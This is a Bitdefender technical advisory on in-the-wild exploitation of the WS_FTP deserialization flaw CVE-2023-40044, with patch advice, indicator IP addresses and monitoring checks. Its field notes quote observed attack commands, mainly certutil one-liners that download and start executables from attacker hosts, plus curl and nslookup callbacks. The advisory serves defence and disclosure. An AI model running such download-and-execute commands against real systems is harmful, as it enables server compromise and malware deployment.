--- title: "Technical Advisory: Critical Vulnerabilities in WS_FTP Exploited in the Wild" description: Explore our in-depth analysis of how critical vulnerabilities in WS_FTP are being exploited in the wild. Learn about the risks, impacts, and best practices for safeguarding your systems. image: https://businessinsights.bitdefender.com/hubfs/Zero-Day-3.jpg --- [![](https://businessinsights.bitdefender.com/hubfs/2021/09/logo-white.svg)](https://businessinsights.bitdefender.com/?hsLang=en-us) [![CONTACT AN EXPERT](https://hubspot-no-cache-eu1-prod.s3.amazonaws.com/cta/default/341979/1d8885e9-1179-49b1-a5ec-9c75f5f670dd.png)](https://hubspot-cta-redirect-eu1-prod.s3.amazonaws.com/cta/redirect/341979/1d8885e9-1179-49b1-a5ec-9c75f5f670dd) - [For Home](https://www.bitdefender.com/solutions/) - [For Business](https://www.bitdefender.com/business/) - [Resources](https://www.bitdefender.com/business/resource-library.html) - [Webinars](https://www.bitdefender.com/business/webinars.html) # [BUSINESS INSIGHTS](https://businessinsights.bitdefender.com/?hsLang=en-us) ![Zero-Day-3](https://businessinsights.bitdefender.com/hubfs/Zero-Day-3.jpg) [#Enterprise Security](https://businessinsights.bitdefender.com/topic/enterprise-security) By [**Martin Zugec**](https://businessinsights.bitdefender.com/author/martin-zugec) / Oct 05, 2023 # Technical Advisory: Critical Vulnerabilities in WS\_FTP Exploited in the Wild Share this [![Share on email](https://businessinsights.bitdefender.com/hubfs/2021/07/blog/email-color.png)](mailto:?subject=Check%20out%20https://businessinsights.bitdefender.com/technical-advisory-critical-vulnerabilities-in-wsftp-exploited-in-the-wild&utm_medium=social&utm_source=email%20&body=Check%20out%20https://businessinsights.bitdefender.com/technical-advisory-critical-vulnerabilities-in-wsftp-exploited-in-the-wild&utm_medium=social&utm_source=email) [![Share on twitter](https://businessinsights.bitdefender.com/hubfs/2021/07/blog/twitter-color.png)](https://twitter.com/intent/tweet?original_referer=https://businessinsights.bitdefender.com/technical-advisory-critical-vulnerabilities-in-wsftp-exploited-in-the-wild&utm_medium=social&utm_source=twitter&url=https://businessinsights.bitdefender.com/technical-advisory-critical-vulnerabilities-in-wsftp-exploited-in-the-wild&utm_medium=social&utm_source=twitter&source=tweetbutton&text=) [![Share on linkedin](https://businessinsights.bitdefender.com/hubfs/2021/07/blog/linkedin-color.png)](http://www.linkedin.com/shareArticle?mini=true&url=https://businessinsights.bitdefender.com/technical-advisory-critical-vulnerabilities-in-wsftp-exploited-in-the-wild&utm_medium=social&utm_source=linkedin) [![Share on facebook](https://businessinsights.bitdefender.com/hubfs/2021/07/blog/facebook-color.png)](http://www.facebook.com/share.php?u=https://businessinsights.bitdefender.com/technical-advisory-critical-vulnerabilities-in-wsftp-exploited-in-the-wild&utm_medium=social&utm_source=facebook) On September 27, 2023, Progress Software Corporation, a software vendor, issued [a security advisory](https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023) regarding eight newly identified vulnerabilities impacting WS\_FTP software. These vulnerabilities affect all versions of the WS\_FTP Server. Among the discovered vulnerabilities, two have been classified as CRITICAL, three as HIGH, and three as MEDIUM in terms of severity. According to information from Progress, upgrading to a patched release (version 8.8.2), using the full installer, is the only way to remediate this issue.  [CVE-2023-40044](https://www.cve.org/CVERecord?id=CVE-2023-40044) – CVSS 10 (CRITICAL)  [CVE-2023-42657](https://www.cve.org/CVERecord?id=CVE-2023-42657) – CVSS 9.9 (CRITICAL)  [CVE-2023-40045](https://www.cve.org/CVERecord?id=CVE-2023-40045) - CVSS 8.3 (HIGH)  [CVE-2023-40046](https://www.cve.org/CVERecord?id=CVE-2023-40046) - CVSS 8.2 (HIGH)  [CVE-2023-40047](https://www.cve.org/CVERecord?id=CVE-2023-40047) - CVSS 8.3 (HIGH)  [CVE-2023-40048](https://www.cve.org/CVERecord?id=CVE-2023-40048) - CVSS 6.8 (MEDIUM)  [CVE-2022-27665](https://www.cve.org/CVERecord?id=CVE-2022-27665) - CVSS 6.1 (MEDIUM)  [CVE-2023-40049](https://www.cve.org/CVERecord?id=CVE-2023-40049) - CVSS 5.3 (MEDIUM)  Although we've noticed a consistent decline in the number of vulnerable servers, it's important to highlight that there are still more than 2,000 of these servers, each potentially representing an entire network. Notably, a significant majority of these servers are located within the United States. ![A map of the world with a red country Description automatically generated](https://businessinsights.bitdefender.com/hubfs/undefined-Oct-05-2023-12-19-21-5016-PM.png) *Locations of running WS\_FTP Servers according to Shodan*  The critical vulnerability CVE-2023-40044 triggered the most interest from the cybersecurity industry, and unfortunately, also interest from malicious threat actors. We are publishing this technical advisory to document multiple exploitation attempts that our security experts detected over the last few days.  ## Description of vulnerability **CVE-2023-40044** is a pre-authentication remote code execution vulnerability in the Ad Hoc Transfer module that leverages an unsafe .NET object deserialization.   In .NET and many other programming languages, deserialization is the process of converting serialized data (often in the form of binary or text) back into objects or data structures that can be used by a program. This process is essential for applications that need to transmit or store data in a structured format, such as sending objects over a network or saving them to a file.  A deserialization vulnerability happens when a program deserializes data without proper validation, sanitization, or security checks. In other words, the application trusts the incoming serialized data without verifying its integrity or authenticity. An attacker can craft malicious serialized data that, when deserialized by the vulnerable application, execute arbitrary code on the system with the same privileges as the application itself. Tools like [ysoserial.net](https://github.com/pwntester/ysoserial.net) can be used to wrap a user-specified command into a specially crafted string. When this string is deserialized, it triggers the execution of the specified command.  Ultimately, all you need to execute your own code on a remote server is to send a single HTTP request to a vulnerable service.  The vulnerable module is MyFileUpload.UploadModule, located in the library file FileUploadLibrary.dll. During our analysis, we identified this as a third-party file upload library sourced from darrenjohnstone.net, with a copyright notice reading 'Copyright © Darren Johnstone 2008.' It's possible that other software utilizing this library may also be susceptible to the same vulnerability.  For more technical information about this vulnerability, including a proof of concept code, we recommend [the technical analysis](https://www.assetnote.io/resources/research/rce-in-progress-ws-ftp-ad-hoc-via-iis-http-modules-cve-2023-40044) from the Assetnote team that originally discovered the vulnerability.  ## Notes from the field The first category of detections can be attributed to various vulnerability scanners, including Burp Suite (\*.oastify.com), AcuMonitor (\*.bxss.me), or simple callback using curl (a versatile command-line tool and library for making network requests to various protocols and services).  "C:\\Windows\\System32\\cmd.exe" /c cmd.exe /c powershell -command "curl hxxp://\:25565"  "C:\\Windows\\System32\\cmd.exe" /c "nslookup \"  It is challenging to distinguish whether vulnerability scans originate from well-intentioned administrators seeking to identify and secure vulnerable systems or from malicious threat actors attempting to locate potential victims, but we can only hope for the former scenario.  The second category of attempts points to the actions of threat actors who are actively trying to deploy webshells on these vulnerable servers. A webshell is a malicious script or piece of code that attackers place on a compromised server to gain unauthorized access and control. While it is not possible to accurately attribute these attempts, these can be initial access brokers, ransomware affiliates, or even state-sponsored threat actors that are trying to compromise these systems before they are patched.  All these attempts spawn cmd.exe under the parent process w3wp.exe (IIS worker).   In the most common attack scenario, cmd.exe starts living off the land executable certutil.exe to download and execute a standalone Meterpreter executable, detected by Bitdefender as “Trojan.Metasploit.A”. CertUtil, a native Windows program for certificate management, includes a feature that allows users to download files from remote URLs and save them locally. Threat actors often use this LOLbin to download and deploy malware onto Windows systems, exploiting its legitimacy to bypass security measures and potentially compromise target machines.  "C:\\Windows\\System32\\cmd.exe" /c certutil -urlcache -f http://\:8080/\_R8pCPgPKh2ksKU\_tUusKQ %TEMP%\\HwWuatOoqcCW.exe & start /B %TEMP%\\HwWuatOoqcCW.exe  "C:\\Windows\\System32\\cmd.exe" /c certutil -urlcache -f http://\:8080/bi6srbBUYpj4HBiL0Lydwg %TEMP%\\qkvwBDoJo.exe & start /B %TEMP%\\qkvwBDoJo.exe  "C:\\Windows\\System32\\cmd.exe" /c certutil -urlcache -f http://\:8080/JFpNM6nSkTJ6rt33SaKexQ %TEMP%\\OJHwmCCcNar.exe & start /B %TEMP%\\OJHwmCCcNar.exe  ![A diagram of a computer Description automatically generated](https://businessinsights.bitdefender.com/hubfs/undefined-Oct-05-2023-12-19-51-4563-PM.png) We have also analyzed attacks where cmd.exe starts a chain of PowerShell commands. This attack attempts to evade detection by using an AMSI bypass, uses a combination of code obfuscation techniques, and executes an encoded shellcode. This shellcode connects to command and control server using port 49960. This shellcode is detected by Bitdefender as Generic:ShellCode.Marte.4.98108467.  ![](https://businessinsights.bitdefender.com/hubfs/undefined-Oct-05-2023-12-20-02-4935-PM.png) ## Conclusion and Recommendations Since [the Cl0p ransomware attacks on MOVEit Transfer](https://www.bleepingcomputer.com/news/security/clop-ransomware-claims-responsibility-for-moveit-extortion-attacks/) (also from Progress Software) earlier this year, secure file transfer solutions remain a popular target for security researchers and various threat actors. As outlined in [the security advisory](https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023) from Progress Software, upgrading to a patched release is the recommended way to remediate this issue.  The vulnerability in WS\_FTP Server is a clear reminder of the importance of keeping systems up to date with the latest security patches while also employing strong perimeter defense. What we are seeing is threat actors stepping up their attacks on vulnerability exploits. In the [Bitdefender 2023 Cybersecurity Assessment report](https://businessresources.bitdefender.com/bitdefender-2023-cybersecurity-assessment?hsLang=en-us), global respondents for the first time listed software vulnerabilities and zero days attacks as their primary cybersecurity concern, surpassing phishing and social engineering attacks. This recognition is a good sign, as we've observed threat actors increasingly targeting software vulnerabilities. Prioritize solutions for [patch management](https://techzone.bitdefender.com/en/security-layers/prevention/patch-management.html) and [risk management](https://techzone.bitdefender.com/en/security-layers/prevention/risk-management.html).  During the recent attacks, we have observed a list of malicious IP addresses. These same sources have also been reported by other security researchers and vendors.  176.105.255\[.\]46  103.163.187\[.\]12  34.77.65\[.\]112  Finally, it is critical for companies of all sizes to establish robust detection and response capabilities to promptly identify any unusual activities on their networks and reduce the time adversaries spend within their systems. Threat actors are opportunistic; they strive to infiltrate numerous systems and often return later to assess their targets. Utilize the period between the initial breach and any potential extortion, such as a ransomware attack, to actively detect and respond to security incidents.  For [Bitdefender MDR](https://www.bitdefender.com/business/enterprise-products/managed-detection-response-service.html) service customers, our team is actively monitoring for any signs of webshells or potential vulnerabilities within web services. These checks include:  - Monitoring processes and file paths commonly linked to web services, such as 'w3wp.exe' - Identifying child processes related to web services - Detecting files that may be indicative of webshells, such as those with extensions like 'aspx' - Searching for detections that include the term "webshell" in their names These checks generate tickets that are handled with higher priority. Our aim is to ensure comprehensive monitoring and protection against potential web-related security threats, addressing them promptly and effectively.  Bitdefender Threat Intelligence customers can access enriched, contextual insights about this attack. The [ThreatID BDg1uoya2z](https://intellizone.bitdefender.com/en/threat-search/threats/BDg1uoya2z) in the Bitdefender IntelliZone portal includes additional TTPs and visualizations. For more information about Bitdefender Threat Intelligence solution [visit our product page](https://www.bitdefender.com/business/products/advanced-threat-intelligence.html). [![Discover Bitdefender Managed Detection and Response](https://hubspot-no-cache-eu1-prod.s3.amazonaws.com/cta/default/341979/96bce44a-a3de-4950-9b2e-a6282554c232.png)](https://hubspot-cta-redirect-eu1-prod.s3.amazonaws.com/cta/redirect/341979/96bce44a-a3de-4950-9b2e-a6282554c232) [![Learn more about Bitdefender Threat Intelligence](https://hubspot-no-cache-eu1-prod.s3.amazonaws.com/cta/default/341979/62256716-a119-49ed-bded-4dc5ede6f211.png)](https://hubspot-cta-redirect-eu1-prod.s3.amazonaws.com/cta/redirect/341979/62256716-a119-49ed-bded-4dc5ede6f211) ### Explore More Topics - [Enterprise Security (765)](https://businessinsights.bitdefender.com/topic/enterprise-security) - [Threat Research (206)](https://businessinsights.bitdefender.com/topic/threat-research) - [SMB Security (193)](https://businessinsights.bitdefender.com/topic/smb-security) - [Cloud Security (174)](https://businessinsights.bitdefender.com/topic/cloud-security) - [Ransomware (172)](https://businessinsights.bitdefender.com/topic/ransomware) - [Privacy and Data Protection (139)](https://businessinsights.bitdefender.com/topic/privacy-and-data-protection) - [Cybersecurity Awareness (136)](https://businessinsights.bitdefender.com/topic/cybersecurity-awareness) - [Endpoint Protection & Management (136)](https://businessinsights.bitdefender.com/topic/endpoint-protection-management) - [Endpoint Detection and Response (127)](https://businessinsights.bitdefender.com/topic/endpoint-detection-and-response) - [Managed Detection and Response (121)](https://businessinsights.bitdefender.com/topic/managed-detection-and-response) - [Threat Intelligence (82)](https://businessinsights.bitdefender.com/topic/threat-intelligence) - [Virtualization & Data Center Security (82)](https://businessinsights.bitdefender.com/topic/virtualization-data-center-security) - [IT Compliance & Regulations (75)](https://businessinsights.bitdefender.com/topic/it-compliance-regulations) - [Bitdefender Threat Debrief (59)](https://businessinsights.bitdefender.com/topic/bitdefender-threat-debrief) - [Managed Service Providers (55)](https://businessinsights.bitdefender.com/topic/managed-service-providers) - [#Featured (52)](https://businessinsights.bitdefender.com/topic/featured) - [Advanced Persistent Threats (47)](https://businessinsights.bitdefender.com/topic/advanced-persistent-threats) - [Events (39)](https://businessinsights.bitdefender.com/topic/events) - [Independent Testing (24)](https://businessinsights.bitdefender.com/topic/independent-testing) - [Cybersecurity Advisory Services (10)](https://businessinsights.bitdefender.com/topic/cybersecurity-advisory-services) - [Podcast (5)](https://businessinsights.bitdefender.com/topic/podcast) - [AI (2)](https://businessinsights.bitdefender.com/topic/ai) - [top (2)](https://businessinsights.bitdefender.com/topic/top) See all topics ### Subscribe to Blog Updates ## Read more about this topic ### [Technical Advisory: Proxy\*Hell Exploit Chains in the Wild](https://businessinsights.bitdefender.com/technical-advisory-proxyhell-exploit-chains-in-the-wild?hsLang=en-us) ### [Understanding and Managing Software Vulnerabilities: A Comprehensive Guide](https://businessinsights.bitdefender.com/understanding-and-managing-software-vulnerabilities-a-comprehensive-guide?hsLang=en-us) ### [Meet With Bitdefender at VB2022 in Prague](https://businessinsights.bitdefender.com/meet-with-bitdefender-at-vb2022-in-prague?hsLang=en-us) ![bitdefender](https://businessinsights.bitdefender.com/hs-fs/file-2685110570-png/Bitdefender-Mar2015-Theme/Images/avatar_img_footer.png) ![bitdefender](https://businessinsights.bitdefender.com/hs-fs/file-2676149282-png/Bitdefender-Mar2015-Theme/Images/logo_white_footer.png) - [![https://twitter.com/Bitdefender\_Ent](https://businessinsights.bitdefender.com/hs-fs/file-2658233851-png/Bitdefender-Mar2015-Theme/Images/ft_soc_tw.png?width=33&name=ft_soc_tw.png)](https://twitter.com/Bitdefender_Ent) - [![Linkedin-icon-300x300](https://businessinsights.bitdefender.com/hs-fs/hubfs/Bitdefender-Mar2015-Theme/Images/Linkedin-icon-300x300.png?width=33&name=Linkedin-icon-300x300.png)](https://www.linkedin.com/company/bitdefender-gravityzone-enterprise-security) - [![](https://businessinsights.bitdefender.com/hs-fs/file-2676149307-png/Bitdefender-Mar2015-Theme/Images/ft_soc_yt.png)](https://www.youtube.com/user/BitdefenderSecurity) - [Legal Terms](https://www.bitdefender.com/legal/) - [Privacy Policy](https://www.bitdefender.com/site/view/legal-privacy-policy-for-bitdefender-websites.html) - [EULA](https://www.bitdefender.com/site/view/legal-eula.html) - [Contact Us](https://www.bitdefender.com/business/contact.html) Copyright © 1997-2023 Bitdefender All rights reserved. ```json { "@context" : "https://schema.org", "@type" : "BlogPosting", "author" : { "@type" : "Person", "name" : "Martin Zugec", "url" : "https://businessinsights.bitdefender.com/author/martin-zugec" }, "dateModified" : "2023-10-17T14:47:31.729Z", "datePublished" : "2023-10-05T14:38:08.000Z", "headline" : "Technical Advisory: Critical Vulnerabilities in WS_FTP Exploited in the Wild", "image" : [ "https://businessinsights.bitdefender.com/hubfs/Zero-Day-3.jpg" ], "mainEntityOfPage" : { "@id" : "https://businessinsights.bitdefender.com/technical-advisory-critical-vulnerabilities-in-wsftp-exploited-in-the-wild", "@type" : "WebPage" }, "publisher" : { "@type" : "Organization", "logo" : { "@type" : "ImageObject", "url" : "https://businessinsights.bitdefender.com/hubfs/Bitdefender_Logo_Transparent-2.png" }, "name" : "Bitdefender" } } ```